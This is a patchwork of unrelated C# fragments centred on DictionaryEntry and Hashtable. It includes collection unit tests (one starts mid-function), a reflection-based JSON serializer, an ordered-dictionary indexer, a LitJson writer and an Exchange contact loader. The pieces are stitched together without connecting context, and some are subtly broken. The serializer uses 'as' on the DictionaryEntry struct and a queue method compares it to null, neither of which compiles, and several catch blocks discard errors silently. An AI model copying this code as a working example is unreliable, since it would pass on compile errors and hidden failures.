if(!hsh2.Contains(strValue)) { iCountErrors++; Console.WriteLine("Err_452dvdf_" + i + "_" + j + "! Expected value not returned, " + strValue); } } } workers = new Thread[iNumberOfWorkers]; ts1 = new ThreadStart(RemoveElements); for(int i=0; i<workers.Length; i++) { workers[i] = new Thread(ts1); workers[i].Name = "Thread worker " + i; workers[i].Start(); } while(true) { fLoopExit=false; for(int i=0; i<iNumberOfWorkers;i++) { if(workers[i].IsAlive) fLoopExit=true; } if(!fLoopExit) break; } iCountTestcases++; if(hsh2.Count != 0) { iCountErrors++; Console.WriteLine("Err_6720fvdg! Expected value not returned, " + hsh2.Count); } iCountTestcases++; if(hsh1.IsSynchronized) { iCountErrors++; Console.WriteLine("Err_4820fdf! Expected value not returned, " + hsh1.IsSynchronized); } iCountTestcases++; if(!hsh2.IsSynchronized) { iCountErrors++; Console.WriteLine("Err_4820fdf! Expected value not returned, " + hsh2.IsSynchronized); } } while (false); } catch (Exception exc_general ) { ++iCountErrors; Console.WriteLine (s_strTFAbbrev + " : Error Err_8888yyy! strLoc=="+ strLoc +", exc_general==\n"+exc_general.ToString()); } if ( iCountErrors == 0 ) { Console.WriteLine( "paSs. "+s_strTFPath +" "+s_strTFName+" ,iCountTestcases=="+iCountTestcases); return true; } else { Console.WriteLine("FAiL! "+s_strTFPath+" "+s_strTFName+" ,iCountErrors=="+iCountErrors+" , BugNums?: "+s_strActiveBugNums ); return false; } }
public void TestCtorIntSingle() { // variables used for tests Hashtable hash = null; // [] should get ArgumentException if trying to have large num of entries Assert.Throws<ArgumentException>(() => { hash = new Hashtable(int.MaxValue, .1f); } ); // []should not get any exceptions for valid values - we also check that the HT works here hash = new Hashtable(100, .1f); int iNumberOfElements = 100; for (int i = 0; i < iNumberOfElements; i++) { hash.Add("Key_" + i, "Value_" + i); } //Count Assert.Equal(hash.Count, iNumberOfElements); DictionaryEntry[] strValueArr = new DictionaryEntry[hash.Count]; hash.CopyTo(strValueArr, 0); Hashtable hsh3 = new Hashtable(); for (int i = 0; i < iNumberOfElements; i++) { Assert.True(hash.Contains("Key_" + i), "Error, Expected value not returned, " + hash.Contains("Key_" + i)); Assert.True(hash.ContainsKey("Key_" + i), "Error, Expected value not returned, " + hash.ContainsKey("Key_" + i)); Assert.True(hash.ContainsValue("Value_" + i), "Error, Expected value not returned, " + hash.ContainsValue("Value_" + i)); //we still need a way to make sure that there are all these unique values here -see below code for that Assert.True(hash.ContainsValue(((DictionaryEntry)strValueArr[i]).Value), "Error, Expected value not returned, " + ((DictionaryEntry)strValueArr[i]).Value); hsh3.Add(((DictionaryEntry)strValueArr[i]).Value, null); } }
public static bool IsEqual(this DictionaryEntry @this, DictionaryEntry other) { return(Object.Equals(@this.Key, other.Key) && Object.Equals(@this.Value, other.Value)); }
public void QueueEntry(DictionaryEntry dictionaryEntry) { if (dictionaryEntry == null) return; _queuedEntries.Add(dictionaryEntry); }
/// <summary> /// Convert an object to a JSON string. /// </summary> /// <param name="o">The value to convert. Supported types are: Boolean, String, Byte, (U)Int16, (U)Int32, Float, Double, Decimal, Array, IDictionary, IEnumerable, Guid, Datetime, DictionaryEntry, Object and null.</param> /// <returns>The JSON object as a string or null when the value type is not supported.</returns> /// <remarks>For objects, only public properties with getters are converted.</remarks> public static string SerializeObject(object o, DateTimeFormat dateTimeFormat = DateTimeFormat.Default) { if (o == null) { return("null"); } Type type = o.GetType(); switch (type.Name) { case "Boolean": { return((bool)o ? "true" : "false"); } case "String": case "Char": case "Guid": { return("\"" + o.ToString() + "\""); } case "Single": case "Double": case "Decimal": case "Float": case "Byte": case "SByte": case "Int16": case "UInt16": case "Int32": case "UInt32": case "Int64": case "UInt64": { return(o.ToString()); } case "DateTime": { switch (dateTimeFormat) { case DateTimeFormat.Ajax: // This MSDN page describes the problem with JSON dates: // http://msdn.microsoft.com/en-us/library/bb299886.aspx return("\"" + DateTimeExtensions.ToASPNetAjax((DateTime)o) + "\""); case DateTimeFormat.ISO8601: case DateTimeFormat.Default: default: return("\"" + DateTimeExtensions.ToIso8601((DateTime)o) + "\""); } } } if (o is IDictionary && !type.IsArray) { IDictionary dictionary = o as IDictionary; return(SerializeIDictionary(dictionary, dateTimeFormat)); } if (o is IEnumerable) { IEnumerable enumerable = o as IEnumerable; return(SerializeIEnumerable(enumerable, dateTimeFormat)); } if (type == typeof(System.Collections.DictionaryEntry)) { DictionaryEntry entry = o as DictionaryEntry; Hashtable hashtable = new Hashtable(); hashtable.Add(entry.Key, entry.Value); return(SerializeIDictionary(hashtable, dateTimeFormat)); } if (type.IsClass) { Hashtable hashtable = new Hashtable(); // Iterate through all of the methods, looking for public GET properties MethodInfo[] methods = type.GetMethods(); foreach (MethodInfo method in methods) { // We care only about property getters when serializing if (method.Name.StartsWith("get_")) { // Ignore abstract and virtual objects if (method.IsAbstract) { continue; } // Ignore delegates and MethodInfos if ((method.ReturnType == typeof(System.Delegate)) || (method.ReturnType == typeof(System.MulticastDelegate)) || (method.ReturnType == typeof(System.Reflection.MethodInfo))) { continue; } // Ditto for DeclaringType if ((method.DeclaringType == typeof(System.Delegate)) || (method.DeclaringType == typeof(System.MulticastDelegate))) { continue; } object returnObject = method.Invoke(o, null); hashtable.Add(method.Name.Substring(4), returnObject); } } return(SerializeIDictionary(hashtable, dateTimeFormat)); } return(null); }
public object this [object key] { get { return hash [key]; } set { WriteCheck (); if (hash.Contains (key)) { int i = FindListEntry (key); list [i] = new DictionaryEntry (key, value); } else list.Add (new DictionaryEntry (key, value)); hash [key] = value; } }
private static void WriteJson(IJsonWrapper obj, JsonWriter writer) { if (obj.IsString) { writer.Write(obj.GetString()); return; } if (obj.IsBoolean) { writer.Write(obj.GetBoolean()); return; } if (obj.IsDouble) { writer.Write(obj.GetDouble()); return; } if (obj.IsInt) { writer.Write(obj.GetInt()); return; } if (obj.IsLong) { writer.Write(obj.GetLong()); return; } if (obj.IsArray) { writer.WriteArrayStart(); IEnumerator enumerator = obj.GetEnumerator(); try { while (enumerator.MoveNext()) { object obj2 = enumerator.Current; JsonData.WriteJson((JsonData)obj2, writer); } } finally { IDisposable disposable; if ((disposable = (enumerator as IDisposable)) != null) { disposable.Dispose(); } } writer.WriteArrayEnd(); return; } if (obj.IsObject) { writer.WriteObjectStart(); IDictionaryEnumerator enumerator2 = obj.GetEnumerator(); try { while (enumerator2.MoveNext()) { object obj3 = enumerator2.Current; DictionaryEntry dictionaryEntry = (DictionaryEntry)obj3; writer.WritePropertyName((string)dictionaryEntry.Key); JsonData.WriteJson((JsonData)dictionaryEntry.Value, writer); } } finally { IDisposable disposable2; if ((disposable2 = (enumerator2 as IDisposable)) != null) { disposable2.Dispose(); } } writer.WriteObjectEnd(); return; } }
public static void CopyTo() { MyDictionary dictBase = CreateDictionary(100); // Basic var entries = new DictionaryEntry[dictBase.Count]; dictBase.CopyTo(entries, 0); Assert.Equal(dictBase.Count, entries.Length); for (int i = 0; i < entries.Length; i++) { DictionaryEntry entry = entries[i]; Assert.Equal(CreateKey(entries.Length - i - 1), entry.Key); Assert.Equal(CreateValue(entries.Length - i - 1), entry.Value); } // With index entries = new DictionaryEntry[dictBase.Count * 2]; dictBase.CopyTo(entries, dictBase.Count); Assert.Equal(dictBase.Count * 2, entries.Length); for (int i = dictBase.Count; i < entries.Length; i++) { DictionaryEntry entry = entries[i]; Assert.Equal(CreateKey(entries.Length - i - 1), entry.Key); Assert.Equal(CreateValue(entries.Length - i - 1), entry.Value); } }
//internal static void Send() //{ // try // { // using (var message = new MailMessage()) // { // var basicCredential = new NetworkCredential(Data.Global.EmailUserName, Data.Global.EmailUserPassword); // message.From = new MailAddress(From); // foreach (var i in To) // { // message.To.Add(i); // } // if (Cc != null) // { // foreach (var i in Cc) // { // message.CC.Add(i); // } // } // message.Subject = Sub; // message.Body = Body; // if (Attachments != null) // { // foreach (var i in Attachments) // { // message.Attachments.Add(new Attachment(i)); // } // } // using (var smtp = new SmtpClient()) // { // smtp.Host = ConfigSettings.ReturnConfigSettingsAppSettingKeyValue("smtp"); // smtp.UseDefaultCredentials = false; // smtp.Credentials = basicCredential; // smtp.Send(message); // } // } // Msg.Confirmation("Email Sent"); // } // catch (Exception ex) // { // //Msg.ProgError(ex.ToString()); // } //} internal static DataTable GetContacts(string user, string pw, string domain, string smtp, string ldap) { using (var dt = new DataTable()) { dt.Columns.Add("Name", typeof(string)); dt.Columns.Add("Address", typeof(string)); var myArr = new DictionaryEntry[GetGal(user, pw, domain, ldap).Count]; GetGal(user, pw, domain, ldap).CopyTo(myArr, 0); foreach (var t in myArr) { var row = dt.NewRow(); row["Name"] = CultureInfo.CurrentCulture.TextInfo.ToTitleCase(t.Key.ToString()); row["Address"] = t.Value.ToString().ToLower(); dt.Rows.Add(row); } try { var service = new ExchangeService { UseDefaultCredentials = false, Credentials = new WebCredentials(user, pw, domain), Url = new Uri(String.Format(@"https://{0}/EWS/Exchange.asmx", smtp)), }; foreach (var v in service.FindItems(WellKnownFolderName.Contacts, new ItemView(1000))) { var contact = v as Contact; if (contact == null) { continue; } if (!contact.EmailAddresses.Contains(EmailAddressKey.EmailAddress1)) { continue; } if (contact.EmailAddresses[EmailAddressKey.EmailAddress1].Address == null) { continue; } var row = dt.NewRow(); var exists = dt.AsEnumerable().Any(c => c.Field <string>("Name").Equals(contact.DisplayName)); if (exists) { continue; } row["Name"] = contact.DisplayName; row["Address"] = contact.EmailAddresses[EmailAddressKey.EmailAddress1].Address; dt.Rows.Add(row); } } catch (Exception ex) { //Msg.ProgError(ex.Message); } return(dt); } }